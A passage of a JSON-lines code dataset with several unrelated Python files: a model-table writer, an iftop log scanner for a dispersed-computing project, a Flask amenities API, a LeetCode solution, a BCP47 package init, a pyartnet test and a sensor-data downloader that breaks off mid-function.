table_path):\n\ttable_titles = {\n\t 'Nodes': 'NODES',\n\t 'Members': 'MEMBERS_MAIN_DATA',\n\t 'Plates' : 'PLATES',\n\t 'BoundConditions' : 'BOUNDARY_CONDITIONS',\n\t 'DesignParams' : 'MEMBERS_DESIGN_PARAMETERS'\n\t }\n\t\n\n\t\n\t#Read table file\n\ttable_file = open(table_path)\n\ttable_string = table_file.read()\n\ttable_file.close()\n\t\n\t# Read contents from file as a single string\n\tmodel_file = open(model_path, 'r')\n\tmodel_string = model_file.read()\n\tmodel_file.close()\n\t\n\t#Create Backup of Master File\n\tts = time.time()\n\ttime_stamp = datetime.datetime.fromtimestamp(ts).strftime('%Y%m%d-%H%M_')\n\tbackup_file = open(os.path.join(os.path.dirname(model_path), time_stamp + os.path.basename(model_path)), 'w')\n\tbackup_file.write(model_string)\n\tbackup_file.close()\n\n\t# Use RE package to allow for replacement with REGEX selection of table)\n\tname = table_titles[os.path.basename(table_path).split('.')[0]]\n\ta.append('Updated from {}'.format(os.path.basename(table_path)))\n\tmodel_string = (re.sub(\"\\[.?{0}\\]\\s[\\s\\S]+\\[.?END_{0}]\\n\".format(name), table_string, model_string))\n\n\t# Write contents to file.\n\t# Using mode 'w' truncates the file.\n\tmodel_file = open(model_path, 'w')\n\tmodel_file.write(model_string)\n\tmodel_file.close()","sub_path":"write_all.py","file_name":"write_all.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"186751787","text":"#BBN_LICENSE_START -- DO NOT MODIFY BETWEEN LICENSE_{START,END} Lines\n# Copyright (c) <2017,2018,2019,2020,2021>, \n# To be applied to the DCOMP/MAP Public Source Code Release dated 2018-04-19, with\n# the exception of the dcop implementation identified below (see notes).\n# \n# Dispersed Computing (DCOMP)\n# Mission-oriented Adaptive Placement of Task and Data (MAP) \n# \n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# \n# Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#BBN_LICENSE_END\n#!/usr/bin/env python3\n\n\"\"\"\n\nThis script is used to find time intervals for which there are missing network data collected from particular iftop instances for particular network interfaces.\nThe script does this by scanning the log files for a single node and relies on logging for IftopProcesor to be set to TRACE level.\n\nIn particular, this script scans for disprepancy situations where an iftop process for the virtual interface for a container displays netork data\nwhile iftop processes for physical interfaces that have previously reported data for this container do not currently display the data.\n\n\nTo run on all nodes:\n./all_node_iftop_missing_data_scan.sh --sim [run data folder] --output [missing data results output folder] \nSee iftop_missing_data.log in the output folder for a summary of results for all nodes. See each [node]-iftop_missing_data.log file for a log of relevant events on the node.\n\nTo run on a single node's log files:\n./map_log_iftop_missing_data_scan.py -L [log file directory] -d [minimum interval direction to show in seconds] -d [smallest missing data interval to report in seconds]\nThe output will have logging of relevant events and a summary at the end.\n\n\"\"\"\n\n\n\nimport warnings\n\nwith warnings.catch_warnings():\n import re\n import sys\n import argparse\n import os\n import os.path\n import logging\n import logging.config\n import json\n from pathlib import Path\n from time import gmtime, strftime\n from dateutil import parser\n from datetime import datetime, timedelta\n from pytz import timezone\n from dateutil import tz\n sys.path.append(os.path.join(os.path.dirname(__file__), '..'))\n import map_utils\n import fileinput\n\nscript_dir = os.path.abspath(os.path.dirname(__file__))\n\n# the maximum amount of time without seeing activity on a particular interface for a particular container before considering the flow finished\nflow_finished_threshold_seconds = 10\n\n# the minimum amount of time that a flow must be active for on a particular interface for a container before comparing it to other interfaces for discrepancies\nmin_flow_duration_for_discrepancy_check = 10\n\n# the smallest amount of time that can be used to define the boundary between discrepancy intervals\nmin_time_between_discrepancy_intervals = 10\n\n# minimum duration of a discrepancy interval to include it in output\nmin_discrepancy_interval_duration = 30\n\n\ndef get_logger():\n return logging.getLogger(__name__)\n\ndef datetime_to_epoch_s(date_time):\n epoch_s = date_time.timestamp()\n return epoch_m\n\ndef datetime_to_epoch_ms(date_time):\n epoch_s = date_time.timestamp()\n epoch_ms = int(epoch_s * 1000)\n return epoch_ms\n\n\ndef main(argv=None):\n \n if argv is None:\n argv = sys.argv[1:]\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--logconfig\", dest=\"logconfig\", help=\"logging configuration (default: logging.json)\", default='logging.json')\n parser.add_argument(\"-L\", \"--log-directory\", dest=\"log_dir_path\", help=\"Log file directory\", required=True)\n parser.add_argument(\"-b\", \"--testbed\", dest=\"testbed\", help=\"The testbed used for the run. This is used to obtain time zone information.\", default='')\n\n global min_discrepancy_interval_duration\n parser.add_argument(\"-d\", \"--min-interval-duration\", dest=\"min_duration\", help=\"The minimum missing data interval duration allowed for intervals to output\", default=str(min_discrepancy_interval_duration))\n \n \n args = parser.parse_args(argv)\n\n map_utils.setup_logging(default_path=args.logconfig)\n \n\n # parse arguments\n log_dir_path = Path(args.log_dir_path)\n testbed = (None if args.testbed == '' else args.testbed)\n min_discrepancy_interval_duration = float(args.min_duration)\n \n\n\n time_zone=None\n\n testbed_to_time_zone_map = {'emulab' : timezone('US/Mountain'), 'dcomp' : timezone('UTC')}\n if (testbed != None):\n if (testbed in testbed_to_time_zone_map):\n time_zone=testbed_to_time_zone_map.get(testbed.lower())\n get_logger().info(\"Found time zone for testbed '%s': %s.\", testbed, time_zone)\n else:\n get_logger().fatal(\"Could not map testbed '%s' to timezone.\", testbed)\n exit(1)\n\n\n parse_state = ParseState()\n\n\n get_logger().info(\"Log directory: %s\", log_dir_path)\n\n logfiles = sorted(log_dir_path.glob(\"map-agent*.log\"), key=lambda f: f.stat().st_mtime)\n with fileinput.input(files=logfiles) as log_file:\n log_file_time_reference_line = log_file.readline()\n\n ref_time = map_utils.log_line_to_time(log_file_time_reference_line, time_zone)\n \n if (ref_time == None):\n get_logger().fatal(\"Failed to parse time in log statements. You might need to specify a testbed to determine the timezone or remove the testbed specification if the log statements include the timezone.\")\n exit(1)\n \n \n get_logger().info(\" Ref line: %s\", log_file_time_reference_line.strip())\n get_logger().info(\" Ref time String: %s\", map_utils.datetime_to_string(ref_time))\n get_logger().info(\" Ref time epoch ms: %s\", str(datetime_to_epoch_ms(ref_time)))\n get_logger().info(\"\\n\\n\")\n\n\n for line in log_file:\n line_time = map_utils.log_line_to_time(line, time_zone)\n\n if line_time:\n parse_line(ref_time, line_time, line, parse_state)\n clear_finished_flows(ref_time, line_time, parse_state)\n check_for_network_discrepancies(ref_time, line_time, parse_state)\n else:\n get_logger().debug(\"Line has no readable timestamp: %s\", line)\n\n get_logger().debug(\"parse_state.active_containers: %s\", str(parse_state.active_containers))\n\n get_logger().info(\"Outputting Summary\")\n get_logger().info(\"Minutes with missing data: %s\", str(parse_state.container_nic_discrepancy_times))\n\n\n disrepancy_initervals = compute_discrepancy_intervals(parse_state.container_nic_discrepancy_times,\n timedelta(seconds=min_time_between_discrepancy_intervals)/timedelta(minutes=1))\n filter_discrepancy_intervals(disrepancy_initervals, timedelta(seconds=min_discrepancy_interval_duration)/timedelta(minutes=1))\n get_logger().info(\"Intervals with missing data: %s\", str(disrepancy_initervals))\n\n total_intervals = dict()\n greater_than_1 = dict()\n greater_than_3 = dict()\n for node, node_data in disrepancy_initervals.items():\n for nic, intervals in node_data.items():\n total_intervals[node] = total_intervals.get(node, 0) + len(intervals)\n for interval in intervals:\n if interval.duration > 1:\n greater_than_1[node] = greater_than_1.get(node, 0) + 1\n if interval.duration > 3:\n greater_than_3[node] = greater_than_3.get(node, 0) + 1\n\n get_logger().info(\"Summary total intervals: %s intervals greater than 1 minute: %s intervals greater than 3 minutes %s\", total_intervals, greater_than_1, greater_than_3)\n\n get_logger().debug(\"Final parse_state: %s\", str(parse_state))\n \n\ndef parse_line(ref_time, timestamp, line, parse_state):\n \"\"\"\n Arguments:\n ref_time (datetime): the time being used a reference (run start time) for the current time in the run\n timestamp (datetime): time for the log statement currently being parsed in the log file\n line (str): the log line to parse\n parse_state (ParseState)\n \"\"\"\n match = re.match(r'.*Start service: AppCoordinates {(.+), (.+), (.+)}', line)\n if match:\n service_group = match.group(1)\n service_name = match.group(2)\n service_version = match.group(3)\n service = (service_group, service_name, service_version)\n parse_state.last_service_start = service\n return\n\n\n match = re.match(r'.*\\*\\*\\*\\* Start service: Obtained container name \\'(.+)\\' and IP \\'([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)\\'.', line)\n if match:\n container_name = match.group(1)\n container_ip = match.group(2)\n\n container = (container_name, container_ip, parse_state.last_service_start)\n get_logger().info(\"%s (%s): container %s (%s) for service '%s' started\", timestamp, str(to_minutes(ref_time, timestamp)),\n container[0], container_ip, parse_state.last_service_start)\n parse_state.active_containers.add(container)\n return\n\n\n #match = re.match(r'.*\\*\\*\\* Stopping container \\'(.+)\\' for service \\'AppCoordinates {(.+), (.+), (.+)}\\'.*', line)\n match = re.match(r'.*Stopped container \\(response code 204\\): (.+)', line)\n if match:\n container_name = match.group(1)\n\n get_logger().info(\"%s (%s): container %s (%s) for service '%s' stopped\", timestamp, str(to_minutes(ref_time, timestamp)),\n container_name, map_container_to_ip(container_name, parse_state.active_containers), map_container_to_service(container_name, parse_state.active_containers))\n\n # remove the container from the list with container_name\n parse_state.active_containers = set(filter(lambda c : c[0] != container_name, parse_state.active_containers))\n return\n\n\n match = re.match(r'.*\\[Iftop processor for (.+)\\] .+ com\\.bbn\\.map\\.hifi_resmgr\\.IftopProcessor\\.(.+) \\[\\] {}- IftopParseThread: read line: (.*)', line)\n if match:\n network_interface = match.group(1)\n iftop_out_line = match.group(3)\n parse_iftop_out_line(ref_time, timestamp, network_interface, iftop_out_line, parse_state)\n return\n\n\n\ndef parse_iftop_out_line(ref_time, timestamp, network_interface, line, parse_state):\n \"\"\"\n Arguments:\n ref_time (datetime): the time being used a reference (run start time) for the current time in the run\n timestamp (datetime): time for the log statement currently being parsed in the log file\n network_interface (str): the networ interface for the iftop instance\n line (str): the line of iftop output to parse\n parse_state (ParseState)\n \"\"\"\n match = re.match(r'.*?([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+):([0-9]+)\\s+(<=|=>)\\s+([0-9\\.]+)([a-zA-Z]+)\\s+([0-9\\.]+)([a-zA-Z]+)\\s+([0-9\\.]+)([a-zA-Z]+)\\s+([0-9\\.]+)([a-zA-Z]+)', line)\n\n #match = re.match(r'.*([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+):([0-9]+)\\s+(<=|=>)\\s+([0-9|\\.]+)([a-zA-Z]+)\\s+([0-9|\\.]+)([a-zA-Z]+).*', line)\n\n if match:\n #get_logger().info(\"iftop line match: '%s'\", line)\n \n host_ip = match.group(1)\n host_port = match.group(2)\n direction = match.group(3)\n last2s_value = float(match.group(4))\n last2s_unit = match.group(5)\n last10s_value = float(match.group(6))\n last10s_unit = match.group(7)\n last40s_value = float(match.group(8))\n last40s_unit = match.group(9)\n cumulative_value = float(match.group(10))\n cumulative_unit = match.group(11)\n\n last2s_bps = to_bits_per_second(last2s_value, last2s_unit)\n\n if (host_port == \"7000\"):\n if (last2s_bps > 1000):\n for container in parse_state.active_containers:\n get_logger().debug(\"compare %s, %s\", container, host_ip)\n \n if (host_ip == container[1]):\n traffic_time_list = parse_state.container_network_activity.setdefault(container[0], dict()).setdefault(network_interface, list())\n\n if (len(traffic_time_list) == 0):\n get_logger().info(\"%s (%s): container %s (%s): nic %s: traffic started (%s %s = %s Mbps)\", timestamp, str(to_minutes(ref_time, timestamp)),\n container[0], host_ip, network_interface, last2s_value, last2s_unit, int(last2s_bps / 1024 / 1024 * 1000) / 1000.0)\n \n traffic_time_list.insert(0, timestamp)\n \n \n return\n\n\ndef check_for_network_discrepancies(ref_time, timestamp, parse_state):\n \"\"\"\n Checks previous data in parse_state for data missing on a physcial interface for a container while data is found for the container on its interface.\n\n Arguments:\n ref_time (datetime): the time being used a reference (run start time) for the current time in the run\n timestamp (datetime): time for the log statement currently being parsed in the log file\n parse_state (ParseState)\n \"\"\"\n for container,network_activity in parse_state.container_network_activity.items():\n nics = list(network_activity.keys())\n nics.sort()\n\n for n1 in range(0, len(nics)):\n nic1 = nics[n1]\n\n if (is_container_interface(nic1)):\n\n # check if the flow duration for this container is long enough to expect the data to appear on other interfaces\n if (get_flow_duration(network_activity[nic1]) > timedelta(seconds=min_flow_duration_for_discrepancy_check)):\n\n # look through list of interfaces on which network data for this container was ever seen to see if it appears now\n for n2 in range(0, len(nics)):\n nic2 = nics[n2]\n \n if (not is_container_interface(nic2)):\n\n get_logger().debug(\"len(network_activity[%s]) = %s, parse_state.container_nic_missing_data_status = %s\",\n nic2, str(len(network_activity[nic2])), str(parse_state.container_nic_missing_data_status))\n\n if (len(network_activity[nic2]) == 0):\n container_ip = map_container_to_ip(container, parse_state.active_containers)\n \n record_discrepancy_minutes(ref_time, timestamp, False, container, nic2, parse_state)\n\n if (not is_nic_data_missing(container, nic2, parse_state)):\n get_logger().warn(\"%s (%s) : Found traffic for container '%s' (%s) on nic '%s', but not on nic '%s', which previously had data for this container.\",\n timestamp, str(to_minutes(ref_time, timestamp)), container, container_ip, nic1, nic2)\n set_nic_data_missing(container, nic2, True, parse_state)\n else:\n set_nic_data_missing(container, nic2, False, parse_state)\n record_discrepancy_minutes(ref_time, timestamp, True, container, nic2, parse_state)\n\n\n\n\n\ndef filter_discrepancy_intervals(container_nic_discrepancy_intervals, min_interval_minutes):\n \"\"\"\n Arguments:\n container_nic_discrepancy_intervals (dict): container (str) -> nic (str) -> Interval containing the missing data intervals\n min_interval_minutes (float): the smallest interval to keep in minutes\n \"\"\"\n for container,nic_intervals in container_nic_discrepancy_intervals.items():\n for nic,intervals in nic_intervals.items():\n intervals[:] = [i for i in intervals if i.duration >= min_interval_minutes]\n\n\ndef compute_discrepancy_intervals(container_nic_discrepancy_times, min_minutes_between_intervals):\n \"\"\"\n Arguments:\n container_nic_discrepancy_times (dict): container (str) -> nic (str) -> datetime showing discrepancy times for a container, nic pair\n min_minutes_between_intervals (float): minimum number of minutes to use a boundary between consecutive intervals\n Returns:\n dict: container, nic, Interval\n \"\"\"\n container_nic_discrepancy_intervals = dict()\n\n for container,nic_times in container_nic_discrepancy_times.items():\n for nic,times in nic_times.items():\n if (len(times) >= 1):\n start = times[0][0]\n end = times[0][0]\n\n for t in range(1, len(times)):\n current = times[t][0]\n data_present = times[t][1]\n \n\n if (current - end < min_minutes_between_intervals and not data_present):\n # continue interval\n end = current \n else:\n # end interval\n interval = Interval(start, end)\n container_nic_discrepancy_intervals.setdefault(container, dict()).setdefault(nic, list()).append(interval)\n\n # start new interval\n start = current\n end = current\n \n interval = Interval(start, end)\n container_nic_discrepancy_intervals.setdefault(container, dict()).setdefault(nic, list()).append(interval)\n\n return container_nic_discrepancy_intervals\n \n \n\n\nclass Interval:\n def __init__(self, start, end):\n self.start = start\n self.end = end\n self.duration = end - start\n\n def __str__(self):\n return \"{:.2f}\".format(self.start) + \"-\" + \"{:.2f}\".format(self.end) + \" (\" + \"{:.2f}\".format(self.duration) + \")\"\n\n def __repr__(self):\n return str(self)\n\n\ndef record_discrepancy_minutes(ref_time, timestamp, data_present, container, network_interface, parse_state):\n \"\"\"\n Argument:\n ref_time (datetime): the time being used a reference (run start time) for the current time in the run\n timestamp (datetime): time for the log statement currently being parsed in the log file\n data_present (boolean): True if data was found on the interface and False otherwise\n network_interface (str): the network interface checked for the presence or absense of data.\n parse_state (ParseState)\n \"\"\"\n minutes = to_minutes(ref_time, timestamp)\n time_list = parse_state.container_nic_discrepancy_times.setdefault(container, dict()).setdefault(network_interface, list())\n\n data_point = (minutes, data_present)\n\n if (len(time_list) > 0):\n last_time = time_list[len(time_list) - 1][0]\n\n if (minutes - last_time > 0.1):\n time_list.append(data_point)\n else:\n time_list.append(data_point)\n \n \n\n\ndef is_nic_data_missing(container, nic, parse_state):\n get_logger().debug(\"parse_state.container_nic_missing_data_status = %s\", parse_state.container_nic_missing_data_status)\n nic_statuses = parse_state.container_nic_missing_data_status.get(container)\n\n if nic_statuses:\n nic_status = nic_statuses.get(nic)\n\n if nic_status:\n return nic_status\n else:\n return False\n else:\n return False\n\ndef set_nic_data_missing(container, nic, value, parse_state):\n parse_state.container_nic_missing_data_status.setdefault(container, dict())[nic] = value\n\n\n\ndef map_container_to_ip(container_name, containers):\n get_logger().debug(\"containers = %s, container_name = %s\", containers, container_name)\n for container in containers:\n if (container[0] == container_name):\n return container[1]\n\n return None\n\ndef map_container_to_service(container_name, containers):\n for container in containers:\n if (container[0] == container_name):\n return container[2]\n return None\n\n\ndef get_flow_duration(network_data_times_list):\n if (len(network_data_times_list) < 2):\n return timedelta(seconds=0)\n\n last = network_data_times_list[0]\n first = network_data_times_list[len(network_data_times_list) - 1]\n\n return (last - first)\n\n\ndef is_container_interface(network_interface):\n return network_interface.startswith(\"veth\")\n\n\ndef to_bits_per_second(value, unit):\n unit_mulipliers = {\"b\" : 1, \"Kb\" : 1024, \"Mb\" : 1024 * 1024, \"Gb\" : 1024 * 1024 * 1024}\n multiplier = unit_mulipliers[unit]\n\n if (multiplier == None):\n get_logger().error(\"Invalid unit: '%s'\", unit)\n\n return (value * multiplier)\n\n\ndef to_minutes(ref_time, current_time):\n return (current_time - ref_time) / timedelta(minutes=1)\n\n\ndef clear_finished_flows(ref_time, current_time, parse_state):\n \"\"\"\n Clears network data for interfaces that have not had network data seen for at least flow_finished_threshold_seconds amount of time. This is as if a flow of network data has ended.\n\n Arguments:\n ref_time (datetime): the time being used a reference (run start time) for the current time in the run\n current_time (datetime): time for the log statement currently being parsed in the log file\n \"\"\"\n for container,network_activity in parse_state.container_network_activity.items():\n for nic,activity_times in network_activity.items():\n if (len(activity_times) > 0):\n last_time = activity_times[0]\n\n time_delta = current_time - last_time\n if (time_delta > timedelta(seconds=flow_finished_threshold_seconds)):\n get_logger().info(\"%s (%s): container %s (%s): nic %s: traffic ended\", current_time, str(to_minutes(ref_time, current_time)), container,\n map_container_to_ip(container, parse_state.active_containers), nic)\n activity_times.clear()\n\n\n \n\nclass ParseState:\n def __init__(self):\n self.last_service_start = None\n self.active_containers = set()\n self.container_network_activity = {}\n self.container_nic_missing_data_status = {}\n self.container_nic_discrepancy_times = {}\n\n def __str__(self):\n return \"active_containers: \" + str(self.active_containers) + \"\\n\" + \"container_network_activity: \" + str(self.container_network_activity)\n\n \n\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"src/MAP-ChartGeneration/scripts/iftop_missing_network_data/map_log_iftop_missing_data_scan.py","file_name":"map_log_iftop_missing_data_scan.py","file_ext":"py","file_size_in_byte":23331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"170680881","text":"#!/usr/bin/python3\n'''\n Blueprint app_views decorators\n for HTTP requests that allow users\n to manipulate data in storage\n'''\n\nfrom api.v1.views import app_views\nfrom flask import jsonify\nfrom flask import abort\nfrom flask import request\nfrom models import classes, storage\nfrom models.amenity import Amenity\nimport json\n\n\n@app_views.route('/amenities', strict_slashes=False, methods=['GET'])\ndef get_all_amenities():\n ''' Gets a dictionary of all amenities then jsonifies and returns it '''\n amenities = []\n all_amenities = storage.all(\"Amenity\")\n for key, val in all_amenities.items():\n amenities.append(val.to_dict())\n return jsonify(amenities)\n\n\n@app_views.route('/amenities/',\n strict_slashes=False, methods=['GET'])\ndef get_one_amenity(amenity_id=None):\n ''' Gets a dictionary of an amenity and returns it '''\n retrieved_amenity = storage.get(\"Amenity\", amenity_id)\n if retrieved_amenity is None:\n abort(404)\n else:\n return jsonify(retrieved_amenity.to_dict())\n\n\n@app_views.route('/amenities', strict_slashes=False, methods=['POST'])\ndef post_new_amenity():\n ''' Submits POST request to add a new amenity to the dict of amenities'''\n data = request.get_json()\n if data is None:\n abort(400, 'Not a JSON')\n else:\n if 'name' in data:\n new_amenity = Amenity()\n setattr(new_amenity, 'name', data['name'])\n new_amenity.save()\n return jsonify(new_amenity.to_dict()), 201\n else:\n abort(400, 'Missing name')\n\n\n@app_views.route('/amenities/',\n strict_slashes=False, methods=['DELETE'])\ndef delete_amenity(amenity_id=None):\n ''' Deletes a amenity from the dictionary of amenities'''\n obj = storage.get(\"Amenity\", amenity_id)\n if obj is None:\n abort(404)\n else:\n storage.delete(obj)\n return jsonify({}), 200\n\n\n@app_views.route('/amenities/',\n strict_slashes=False, methods=['PUT'])\ndef put_to_amenity(amenity_id=None):\n ''' Updates an item in the dictionary of amenities '''\n data = request.get_json()\n if data is None:\n abort(400, 'Not a JSON')\n obj = storage.get(\"Amenity\", amenity_id)\n if obj is None:\n abort(404)\n else:\n for key, val in data.items():\n if (key in obj.to_dict() and key not in\n ['id', 'created_at', 'updated_at']):\n setattr(obj, key, val)\n obj.save()\n return jsonify(obj.to_dict())\n","sub_path":"api/v1/views/amenities.py","file_name":"amenities.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"428373576","text":"\"\"\"\nGiven an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one.\n\nExample 1:\n\nInput: [1,3,4,2,2]\nOutput: 2\n\"\"\"\nclass Solution:\n def findDuplicate(self, nums: List[int]) -> int:\n nums = sorted(nums)\n for i in range(1, len(nums)):\n if nums[i] == nums[i-1]:\n return nums[i]\n return None\n\n\"\"\"\nsolution II:\ntortoise and hare\n\"\"\"\nclass Solution:\n def findDuplicate(self, nums: List[int]) -> int:\n hare = tortoise = nums[0]\n while True:\n hare = nums[nums[hare]]\n tortoise = nums[tortoise]\n if hare == tortoise:\n break\n tortoise = nums[0]\n while hare != tortoise:\n hare = nums[hare]\n tortoise = nums[tortoise]\n return hare","sub_path":"leetcode_pop_q/287_Medium_Find_the_uplicate_Number.py","file_name":"287_Medium_Find_the_uplicate_Number.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"573444842","text":"# -*- coding: utf-8 -*-\n\nfrom collections import OrderedDict\n\nfrom .parser import BCP47Parser\nfrom .validator import BCP47Validator\nfrom .code import BCP47Code\n\n\nclass BCP47(object):\n _parser = None\n parser_class = BCP47Parser\n _validator = None\n validator_class = BCP47Validator\n code_class = BCP47Code\n\n def __init__(self):\n self.mapping = dict(\n languages=(\"language\", ),\n extlangs=(\"extlang\", ),\n scripts=(\"script\", ),\n regions=(\"region\", ),\n variants=(\"variant\", ),\n grandfathereds=(\"grandfathered\", \"Tag\"),\n redundants=(\"redundant\", \"Tag\"))\n\n def __getitem__(self, k):\n return self._parsed_tags(*self.mapping[k])\n\n def __call__(self, *args, **kwargs):\n return self.code_class(self, *args, **kwargs)\n\n @property\n def parsed(self):\n if self._parser is None:\n self._parser = self.parser_class()\n return self._parser.parsed\n\n @property\n def validator(self):\n if self._validator is None:\n self._validator = self.validator_class(self)\n return self._validator\n\n def _parsed_tags(self, tag, key=\"Subtag\"):\n return OrderedDict(\n [(x[key], x)\n for x\n in self.parsed[tag]])\n\n def validate(self, lang_code):\n return self.validator.validate(lang_code)\n\n\nbcp47 = BCP47()\n","sub_path":"bcp47/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"506289045","text":"import asyncio, time\nfrom threading import Thread\nfrom pyartnet import ArtNetNode\n\nclass Ctl:\n def __init__(self, universe):\n self.node = ArtNetNode('127.0.0.1')\n self.node.start()\n self.univ = self.node.add_universe(universe)\n self.channel = self.univ.add_channel(1, 400)\n async def run_test():\n vals = [255] * 400\n self.channel.add_fade(vals, 2000)\n vals = [0] * 400\n self.channel.add_fade(vals, 2000)\n","sub_path":"test_async.py","file_name":"test_async.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"372544620","text":"\nimport urllib.request\nimport time\nimport tarfile\nimport os\nimport datetime\nimport csv\nfrom os import listdir\nimport shutil\nfrom os import walk\n\ndef main():\n\n print('Beginning GASP Data Download')\n\n url = 'https://www.mcs.anl.gov/research/projects/waggle/downloads/datasets/GASP.complete.latest.tar'\n # url = 'https://www.mcs.anl.gov/research/projects/waggle/downloads/datasets/GASP.complete.recent.tar'\n dataFolder = '../../../data/'\n dataToolsPath = dataFolder + 'uglyNodes/data-tools-master/'\n\n subFolder = dataFolder + \"uglyNodes_7/\"\n dailyDownloadLocation = subFolder+ 'completeDownload/'\n localLocation = dailyDownloadLocation+'GASP.complete.latest.tar'\n datesLocation = dailyDownloadLocation+'GASP.complete/dates/'\n\n\n nodeList = ['001e0610c040','001e0610c2e5','001e0610c2dd',\\\n '001e0610c5fa','001e0610c069','001e0610c0ea','001e0610c219',\\\n '001e0610c042','001e0610c776','001e0610c0ef','001e0610c762',\\\n '001e0610c2eb','001e0610c2e9','001e0610c2e3','001e0610c42e',\\\n '001e0610c2df','001e0610c429','001e0610c06b','001e0610c2db',\\\n '001e0610c6f4','001e0610c2d7','001e0610c2e1','001e0610c2ed',\\\n '001e0610c2a9','001e0610c046','001e0610c044','001e0610c2e7',\\\n '001e0610c03e','001e0610c5ed','001e0610c216']\n\n\n #\n # nodeList = ['001e0610c040','001e0610c2e5']\n\n\n keys = (['dateTime',\\\n 'opc_n2_bin0','opc_n2_bin1','opc_n2_bin2','opc_n2_bin3','opc_n2_bin4','opc_n2_bin5',\\\n 'opc_n2_bin6','opc_n2_bin7','opc_n2_bin8','opc_n2_bin9','opc_n2_bin10',\\\n 'opc_n2_bin11','opc_n2_bin12','opc_n2_bin13','opc_n2_bin14','opc_n2_bin15',\\\n 'opc_n2_pm1','opc_n2_pm2_5','opc_n2_pm10','opc_n2_sampling_period','opc_n2_sample_flow_rate',\\\n 'apds_9006_020_intensity', \\\n 'bmp180_pressure', 'bmp180_temperature',\\\n 'gps_altitude', \\\n 'gps_longitude', \\\n 'gps_latitude', \\\n 'hih4030_humidity',\\\n 'hih6130_humidity','hih6130_temperature',\\\n 'htu21d_humidity','htu21d_temperature',\\\n 'ml8511_intensity','mlx75305_intensity',\\\n 'pr103j2_temperature',\\\n 'spv1840lr5h_b_intensity',\\\n 'tmp112_temperature',\\\n 'tmp421_temperature',\\\n 'tsl250rd_intensity',\\\n 'tsl260rd_intensity',\\\n 'tsys01_temperature',\\\n ])\n\n\n start = time.time()\n dataFolderCleaner(dailyDownloadLocation)\n timeTaken('Data Cleaned in ',start)\n\n start = time.time()\n downloadFile(url,localLocation)\n timeTaken('Data Downloaded in ',start)\n # # #\n start = time.time()\n unzipFile(localLocation,dailyDownloadLocation)\n timeTaken('Data Extracted in ',start)\n #\n start = time.time()\n dateList = getLastDaysData(dataToolsPath,localLocation)\n timeTaken('latest data cropped in ',start)\n #\n start = time.time()\n splitAlldates2Nodes(nodeList,dateList,datesLocation,subFolder)\n timeTaken('Nodes split in ',start)\n #\n start = time.time()\n writeAllOrganizedData(nodeList,dateList,subFolder,keys)\n timeTaken('Data Organized in ',start)\n\ndef gainDirectoryInfo(dailyDownloadLocation):\n directoryPaths = []\n directoryNames = []\n directoryFiles = []\n for (dirpath, dirnames, filenames) in walk(dailyDownloadLocation):\n directoryPaths.extend(dirpath)\n directoryNames.extend(dirnames)\n directoryFiles.extend(filenames)\n\n return directoryPaths,directoryNames,directoryFiles;\n\n\ndef unzipFile(localLocation,dailyDownloadLocation):\n destinationName = os.path.dirname(localLocation)+'/GASP.complete'\n if os.path.exists(destinationName):\n print(\"The folder does exist\")\n shutil.rmtree(destinationName)\n else:\n print(\"The folder does not exist\")\n unzipper(localLocation)\n directoryPaths,directoryNames,directoryFiles= gainDirectoryInfo(dailyDownloadLocation)\n sourceName = dailyDownloadLocation + directoryNames[0]\n os.rename(sourceName, destinationName)\n\n\ndef gzExtractor(gzLocation):\n os.system('gzip -f ' +gzLocation)\n\ndef dataFolderCleaner(dailyDownloadLocation):\n if os.path.exists(dailyDownloadLocation):\n shutil.rmtree(dailyDownloadLocation)\n os.makedirs(dailyDownloadLocation)\n\ndef writeAllOrganizedData(nodeList,dateList,subFolder,keys):\n for nodeID in nodeList:\n for dates in dateList:\n currentPath = getPathforUglyNode(nodeID,dates,subFolder)\n if os.path.isfile(currentPath):\n reader = getListDictionaryFromPath(currentPath)\n organizedData = getOrganizedData(reader)\n 